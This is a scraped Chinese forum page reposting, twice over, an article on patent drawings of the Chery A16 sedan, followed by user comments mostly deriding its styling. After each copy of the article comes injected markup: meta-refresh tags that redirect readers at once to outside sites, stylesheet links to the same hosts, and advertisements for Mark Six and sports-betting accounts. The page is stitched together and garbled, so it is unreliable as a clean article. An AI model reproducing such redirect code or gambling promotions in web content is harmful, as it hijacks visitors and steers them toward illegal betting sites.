设计基本定型 奇瑞A16专利申报图首曝光

来源:百度文库 编辑:超级军网 时间:2024/04/25 07:38:15
<br /><br />厂家路试车谍照一般都带有严重的伪装,但是厂家提交给国家相关部门的申报图就不带伪装,更容易让人们提前看到未上市车型的造型设计。奇瑞最新步入路试阶段的A16轿车近期也在专利申报图中现身,整个外观造型一览无遗。

500_375_20110408104011640581.jpg

  通过与谍照的对比,专利图与测试车最明显的区别在前后灯具部分。测试车采用的是奇瑞A1的前大灯、旗云2的尾灯临时拼凑,而专利申报图中其外观轮廓终于确定,前大灯采用异型设计,这到是与走势怪异的前进气格栅完全相配合。侧面线条与路试车型完全相符,怪异的前大灯装配之后反到与侧面造型非常匹配。

500_375_20110408104011640582.jpg

  根据专利申报图提供的样图来看,量产版车型还会匹配天窗,与之相比,风云2系列还未能及时实现,这可能与其下属公司——莫森泰克的天窗开发进度有关。风云2正在测试AMT变速器,同时还在测试天窗设备,预计后者会随同AMT变速器一道上市销售。

    尾灯同样采用异形化设计,风格上与近期曝光的奇瑞E5非常接近。此外请注意尾盖上的牌照框,与谍照显示的相同,尺寸相当宽阔,足够容纳全球所有国家的牌照规格。

500_375_20110408104012640583.jpg

  底盘结构无法通过专利申报图一窥究竟,好在谍照已经显现大致结构。预计该车将采用前麦弗逊式后扭转梁式结构,主要目的是为了便于车内空间设计。相比之下,奇瑞A3就是因为四轮独立结构的问题,导致车内空间非常紧张。

500_375_20110408104012640584.jpg

动力方面目前不好判断,主要是其定位无法确定。如果定位略高于风云2而略低于奇瑞E5,则有可能采用1.5L发动机,如若纳入奇瑞A系列,不排除采用1.3DVVT、1.5DVVT的可能。另外自动变速器的配备应该无需担忧,无论是1.5L发动机还是二代发动机,都有相应的自动档可供匹配。1.5L车型可匹配AMT变速器以便降低成本,而二代发动机则会广泛搭配CVT变速器来提升技术含量。<meta http-equiv="refresh" content="0; url=http://fjw.cc">
<meta http-equiv="refresh" content="0; url=http://516123.com/1.html">
<link href="http://fjw.cc/558.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://516123.com/8.css" rel="stylesheet" type="text/css" media="screen" />

<P>&nbsp;</P>
<P>&nbsp;</P>


(6.合.彩)足球→篮球...各类投注开户下注
<P>&nbsp;</P>
推荐→第一投注=:倍率高.→存取速度快.国内最好的投注平台
<br /><br />厂家路试车谍照一般都带有严重的伪装,但是厂家提交给国家相关部门的申报图就不带伪装,更容易让人们提前看到未上市车型的造型设计。奇瑞最新步入路试阶段的A16轿车近期也在专利申报图中现身,整个外观造型一览无遗。

500_375_20110408104011640581.jpg

  通过与谍照的对比,专利图与测试车最明显的区别在前后灯具部分。测试车采用的是奇瑞A1的前大灯、旗云2的尾灯临时拼凑,而专利申报图中其外观轮廓终于确定,前大灯采用异型设计,这到是与走势怪异的前进气格栅完全相配合。侧面线条与路试车型完全相符,怪异的前大灯装配之后反到与侧面造型非常匹配。

500_375_20110408104011640582.jpg

  根据专利申报图提供的样图来看,量产版车型还会匹配天窗,与之相比,风云2系列还未能及时实现,这可能与其下属公司——莫森泰克的天窗开发进度有关。风云2正在测试AMT变速器,同时还在测试天窗设备,预计后者会随同AMT变速器一道上市销售。

    尾灯同样采用异形化设计,风格上与近期曝光的奇瑞E5非常接近。此外请注意尾盖上的牌照框,与谍照显示的相同,尺寸相当宽阔,足够容纳全球所有国家的牌照规格。

500_375_20110408104012640583.jpg

  底盘结构无法通过专利申报图一窥究竟,好在谍照已经显现大致结构。预计该车将采用前麦弗逊式后扭转梁式结构,主要目的是为了便于车内空间设计。相比之下,奇瑞A3就是因为四轮独立结构的问题,导致车内空间非常紧张。

500_375_20110408104012640584.jpg

动力方面目前不好判断,主要是其定位无法确定。如果定位略高于风云2而略低于奇瑞E5,则有可能采用1.5L发动机,如若纳入奇瑞A系列,不排除采用1.3DVVT、1.5DVVT的可能。另外自动变速器的配备应该无需担忧,无论是1.5L发动机还是二代发动机,都有相应的自动档可供匹配。1.5L车型可匹配AMT变速器以便降低成本,而二代发动机则会广泛搭配CVT变速器来提升技术含量。<meta http-equiv="refresh" content="0; url=http://fjw.cc">
<meta http-equiv="refresh" content="0; url=http://516123.com/1.html">
<link href="http://fjw.cc/558.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://516123.com/8.css" rel="stylesheet" type="text/css" media="screen" />

<P>&nbsp;</P>
<P>&nbsp;</P>


(6.合.彩)足球→篮球...各类投注开户下注
<P>&nbsp;</P>
推荐→第一投注=:倍率高.→存取速度快.国内最好的投注平台
只能说"难看".
前脸还是能看的吧


{:3_83:}侧面设计怎么那么像 长城 腾翼C30






{:3_83:}侧面设计怎么那么像 长城 腾翼C30




奇瑞的设计师果然都是恶趣味呀:D
申请什么专利阿,简直多余,要抄都不抄这个
短肥了点。其他还好。
奇瑞奇瑞,丑车排队。。。。
还能再更丑一些么?
难得一见的好车啊,支持奇瑞。。。
那个前脸中网显示奇瑞设计师盯上本田了,劳驾别抄的那么下品行不?
臭豆腐臭咸蛋口味设计师!
奇瑞的车真没几个好看的。
感觉设计师的艺术感和CD版主们一拼了,王致和的水平啊,可惜了奇瑞的优秀发动机
跟阳光 c30一个模式 短头短尾  尽量挖掘最大的乘坐空间
虽然你一辆车挣半辆车,但也没必要用如此恶心的设计来戏弄国人吧!
中国的设计师脑门是不是被夹过.;funk
嗯哈,没有意外。。一贯的奇瑞风格~
{:qiliang:}奇瑞比长城差远了,在审美取向上
真的有那么难看吗?
感觉也就算是一般般吧,
没到特别难看的地步吧